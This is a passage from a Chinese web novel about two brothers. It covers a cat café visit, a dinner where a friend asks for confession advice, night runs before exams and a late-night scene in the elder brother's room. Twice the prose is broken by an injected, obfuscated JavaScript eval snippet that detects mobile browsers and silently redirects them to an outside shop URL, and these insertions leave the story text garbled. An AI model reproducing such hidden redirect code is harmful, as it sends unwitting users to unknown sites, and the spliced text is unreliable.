席亦一时间竟无从下脚,索性就站在边上看着席见微雨露均沾地这只摸一下,那只也撸一把。 小猫赖在席见微怀里不走。 行。 席亦觉得这是人之常情,毕竟他小时候也爱这样。 小猫舔席见微的手指。 没事。 席亦默默告诉自己小动物就是这样的。 小猫舔上席见微的脸。 席亦...席亦对这群毛茸茸无话可说了。 他把手上的逗猫棒和猫条放了下来,几步走到边上,一伸手,就把席见微怀里那只舔他脸的猫给抱出来了。 怀里突然一空的席见微疑惑地歪头看他,问道:“...怎么了?” 自己也不知道为什么头脑一热就这么干的席亦,半天才给自己找了一个理由,含糊地说:“我想摸这只。” 说完,像是为了证实这一点,他把那只英短轻轻放在地上,想要去摸它的头。 但这猫看见他伸过来的手,却一个转身,用屁股对着他,用行动表示了态度。 “......” 席见微看的直笑,语调上扬着问:“怎么办,它好像不喜欢被你碰。” 席亦侧身把刚刚放在地上的猫条又摸了过来,撕开口子,朝着它的方向举着。 闻到味道,这只英短慢悠悠转身,试探了下才凑过来舔。等席亦觉得时机差不多,想要去摸的时候,又躲开了。 主打的就是一个贪吃但爱憎分明。 席见微怀里又换了一只猫躺,看够了他们一人一猫在那里斗智斗勇,轻声说:“你伸手,给你变一个让小猫喜欢你的魔法。” 席亦把没有捏着猫条的手给递了过去。 下一刻,席见微用双手包住了他的手。 捂了个十几秒,松开前还煞有其事地吹了一口气:“好了,这样去试试呢。” 席亦将信将疑地伸手过去,小猫看见他想要躲,可鼻子又嗅到了喜欢的味道,没忍住凑过来。 躲和闻的动作反复切换。 几次后它没了脾气,终于被席亦顺着背撸了一把。 ...... 两个人刚出猫咖,准备找地方吃晚饭,席见微就收到了陈知远的消息。 还附带一个定位,就在附近。 陈知远:【有急事,速来!】 Ww:【来不了。】 陈知远:【?什么意思。】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17397243|200326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' Ww:【我和小亦一起呢,正打算去吃饭。】 那头明显是犹豫了,最后咬着牙。 陈知远:【那你们一起过来,我请吃饭。】 席亦在他边上,看见席见微盯着手机一副愉悦的样子,没忍住好奇靠了过来。 席见微也没避着,直接侧身把手机递到席亦面前,弯着眼睛告诉他:“我们晚饭好像有着落了。” 陈知远发定位的地方是一个挺有名的餐馆,五一放假的时候人很多,幸好他来的早,还排到了一个在窗边的位置。 他不止一次听席见微说过家里弟弟有多挑食,因此一直没点菜,等他们两个人到了落座在对面,才把菜单给推了过去。 席见微在菜单上按照他俩的喜好点了两个菜,就又把单子还给陈知远。 陈知远又勾了一道,顺带点了些饮料。 饭店里的菜上得蛮快,席见微一路走过来也是真的有点饿了,还没问陈知远喊他们过来干什么,就先吃了起来。 他慢慢嚼着嘴里的饭,就看见面前的鱼香肉丝被夹了一筷子。 夹菜不奇怪。 但夹菜的是席亦这个不吃胡萝卜的人就很奇怪了。 但他像是毫无察觉,直到咽了下去都没有变个表情。 席见微觉得席亦应该是当着其他人的面,不好意思和在家里一样挑挑拣拣。 他不好揭穿,只能问:“觉得味道怎么样?” 席亦轻声说:“其实还挺好吃的。” 一顿饭快要结束的时候,陈知远才终于扭扭捏捏地提起了他叫人过来的原因。 其实说起来也简单,他和手机上的那个网友最近聊天越来越暧昧,这两天正在纠结着怎么表白。 但陈知远看着网上的又觉得不靠谱,最后只能来问席见微这个他最好的朋友。 “我好像有必要提醒你一下。”席见微听完后说:“这里坐的都没谈过恋爱,怎么给你意见。” “怎么就不能给了啊?”陈知远说:“这东西和恋爱经验又没关系,就得集思广益。” 况且席见微在学校很受喜欢,虽然他自己不知道,但喜欢他的人真不少。 陈知远觉得席见微提的建议肯定有用。 席见微撑着脸思考了一会。 他恋爱经验为零,但真的开口聊起来,倒还真的挺像那回事。 “其实我觉得,表白还是要亲口说吧。这种事情还是要当面才显得有诚意。” 席见微:“你要不考虑一下这个假期抽个空去找人见一面,或者视频下也行。” 陈知远开始沉思。 看着陈知远自己在那纠结,席见微就没再说话了,他拿起桌上的饮料喝了一口,润了下嗓子,想要看看外面的天色。 一转头,席亦垂眼深思着,不知道为什么也听的很认真。 席见微:“...?” 你也要搞网恋吗? 16.兄控(十六) 席亦晚上会在固定的时间去外面夜跑。 这件事,席见微是在五一假期的第二天才发现的。 在家里吃完饭后,席见微去厨房的冰箱里端了点草莓。 等出来的时候,那个原本坐在沙发上的黑发少年已经不见了踪影。 他在屋子里环视了一圈,才在玄关处看见了正在系鞋带的席亦。 席见微走过去,靠在了墙壁边:“你要出去吗?” 席亦还没答话,倒是在客厅里收拾的阿姨远远听见,先开了口。 “小亦最近晚上都会出去跑步的。长大就是变了,之前走路都得赖着哥哥的。” 席见微闻言一愣,直到席亦站起身打开门走了出去,才回过神来。 他开始回想,但确实没有和席亦夜跑相关的记忆,于是在脑海里戳了一下092:【他最近真的一直在夜跑?】 092很快就给出了答案:【是的,已经持续十几天了。】 席见微疑惑:【为什么我一点都不知道?】 【数据显示,他一般是在晚上九点出门,在九点半左右回到家并洗完澡。】 【而宿主你,你九点四十才下晚自习,很完美的错过。】 席见微终于搞清楚了,但却没有那种恍然大悟的畅快感,可能是因为092提起了九点四十的晚自习。 他想着刚刚席亦出门的样子,有点感慨:【没想到他居然这么努力。】 092也认真感慨:【是啊,所以未来才会有185嘛。】 “......” 值得一提的是,席见微现在离180还稍差一点。 他沉默了会,诚挚建议092:【我觉得我们可以换一个话题聊。】 — 席亦回来的很快,额头前的碎发都带着潮气,鬓角处的汗珠往下流。 他刚进门,就有一只手把毛巾放在了他的头上。 还没能看清楚是谁,席亦却已经习惯性的微微低下了头。 席见微帮他把头上的汗简单擦了擦,说道:“现在不是连走两步都嫌累了?” “尝试之后发现也没那么累。”席亦的脑袋还在被揉,所以说出的话还有点抖。 不过席见微还是好奇:“你为什么突然想起来要夜跑?” 席亦的回答出乎他的意料,却又诡异的合理:“因为中考体考要跑一千米,不练成绩会很烂。” 这个理由太过具有说服力。 毕竟中考体考,会平等地教所有不爱运动的学生做人。 席见微默默算了算中考的日子,还有一个多月。 现在临时抱佛脚真的来得及吗? ...... 中考结束后,席亦取得了一个很好的成绩。虽然体育还是稍微拖了点后腿,但依旧毫无意外地被分到席见微他们高中的重点班。 席见微前一个月还在感慨席亦的初三有多难熬,但等他们中考完,这份难熬就风水轮流转到了自己的身上。 很难想象学校是怎么找到那么多份高三冲刺试卷给他们做的,在教室里,往往这张试卷还没有写完,下一张就砸了过来。 席见微找了个方法偷懒,那种太过基础和常见的题,他干脆就略过了,只花时间算难题。 同学们看见了也有样学样。 各科老师对他们这些“残次品试卷”,都睁一只眼闭一只眼,没太管。 但即便这样,晚上回到家,席见微还是得点着台灯加班赶卷子。 偶尔还得应对手机上那些来自同学的连环轰炸。 【试卷你把我害惨了(34)】 【锦鲤大王:物理试卷倒数第二道大题有人写出来了吗?我感觉这道题一直在殴打我的眼睛,我怎么看不懂啊QAQ】 【永远在打瞌睡:你以为我看懂了吗?】 【陈知远:你以为我看懂了吗?】 席见微往下翻了翻,低下已经是开始齐刷刷地艾特他了。其中,陈知远格外显眼。 【陈知远:写不出来就努力,不要总是找课代表@Ww,课代表也很累的@Ww,要多给课代表一点私人空间@Ww】 【Ww:......】 席见微看了看自己卷子的进度,预估了一下。 【Ww:可能要再等一个小时。】 群里面都没有异议,反正高三生是没有十一点之前睡觉的权利的。等一个小时刚好去搞其他科。 席见微把台灯往原处挪了一点,拿起草稿纸和笔又继续算了起来。 .... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17397244|200326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' .. 楼下的席母每样水果都切了一点,分别装在了两个盘子里,配上叉子。 她把其中一份放在了席亦的面前,另一份搁在了一旁,说道:“吃完了记得把另一份给哥哥送上去。” 席亦咬了口芒果,点了下头:“好。” 那些水果份量并不多,毕竟是要睡觉的点了,吃太饱对身体不好。 席亦十分钟不到就解决掉了,他放下叉子,端起了边上的那一份。 他上了楼,在席见微的房间门口敲了两下门。 没有回应。 往后退了两步,确认房间里面的灯还亮着后,席亦又敲了下,却依旧没有任何声音传来。 犹豫了会,席亦直接打开了房间的门。 整个房间里面只有台灯照着的那一片格外的亮,桌子上,一只黑色的笔被搁在那里。 而席见微本人,现在正微微缩在椅子里,迷迷糊糊地睡着了。 高三之后,老师管他们没有那么严,他的头发又慢慢留了回来,回到了曾经那个妹妹头的状态。 席亦端着盘子走到桌子边,对方还是没有醒过来。 这几个月的劳累,让席见微的脸色有点苍白。他细长的睫毛密匝匝地垂着,略长的头发在颈窝处打了个卷。 看起来安静又脆弱。 在模糊的光下,席亦甚至分不清席见微眼下的黛青是最近出现的,还是他眼睫的倒影。 于是他伸出了手。 ...... 席母还在下面看电视,等脚步声在楼梯上响起的时候,她打开手机看了一眼时间。 送一个水果需要这么久吗? 她这样想着,回头看过去。可等看清的时候却又怔愣了下,话堵在嘴边。 席亦顺着她的视线,才记起来自己手上还端着那盘水果没有放过去。 但他只是冷静地向母亲解释道:“哥哥他睡着了...” 和他的话一起响起的,是母亲略带疑惑的声音,但却不是席亦设想中的问题。 她轻声说:“小亦...你的手?” 席亦闻言,下意识低下了头。 下一秒。 看见自己的右手不知从什么时候开始,正不受控制地轻轻颤抖着。